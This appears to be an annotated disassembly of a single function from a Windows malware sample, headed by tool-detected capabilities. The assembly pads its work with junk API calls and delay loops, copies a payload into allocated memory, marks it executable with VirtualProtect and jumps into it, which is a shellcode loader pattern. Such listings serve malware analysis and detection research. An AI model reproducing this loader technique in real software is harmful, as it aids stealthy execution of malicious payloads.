Function at 0x4052b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk size
Get file attributes
Read file on windows
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc24
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x4052f6
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x405307
inc edi
cmp edi, 0x67d12
jl 0x4052c4
cmp dword [0x246be54], 0x93
jne 0x4053c6
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push 0x404d90
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
call fcn.0040673e
pop ecx
push esi
push esi
push esi
push esi
call fcn.00406413
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00406490
fstp st(0)
add esp, 8
lea ecx, [ebp - 0x14]
call fcn.00405e35
lea ecx, [ebp - 0x14]
call fcn.00405e71
push esi
call fcn.004061a8
pop ecx
push esi
call fcn.004061be
pop ecx
push esi
push esi
call fcn.00405e1e
push esi
push esi
call fcn.00406463
push esi
call fcn.00406850
add esp, 0x14
push esi
call fcn.00406ae2
add dword [0x246be54], 0x1134b
push dword [0x246be54]
mov eax, dword [0x444c64]
push esi
mov dword [0x246cc90], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x246be54]
mov dword [0x246b8e4], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
call dword [sym.imp.USER32.dll_CharUpperW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x405404
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x246be54], esi
jbe 0x405477
mov eax, dword [0x246cc90]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x246b8e4]
mov byte [ecx + edi], al
cmp dword [0x246be54], 0x490
jne 0x40546e
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x246be54]
jb 0x40542a
xor edi, edi
mov eax, dword [0x246be54]
add eax, edi
cmp eax, 0x8d
jne 0x4054b6
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x404d8c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc edi
cmp edi, 0x38681
jl 0x405479
call fcn.004051db
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x4054e5
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x9253
mov eax, dword [ebp - 4]
add dword [0x246b8e4], eax
inc edi
cmp edi, 0x674bd
jl 0x4054c6
push 0x7b
pop edi
cmp dword [0x246be54], 0x86
jne 0x40553d
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0xc20]
push eax
push 0x404e04
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x246be54], 0xf
jne 0x405550
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
dec edi
jne 0x4054f1
push 0x404e20
call ebx
call dword [0x246b8e4]
pop edi
pop esi
pop ebx
leave
ret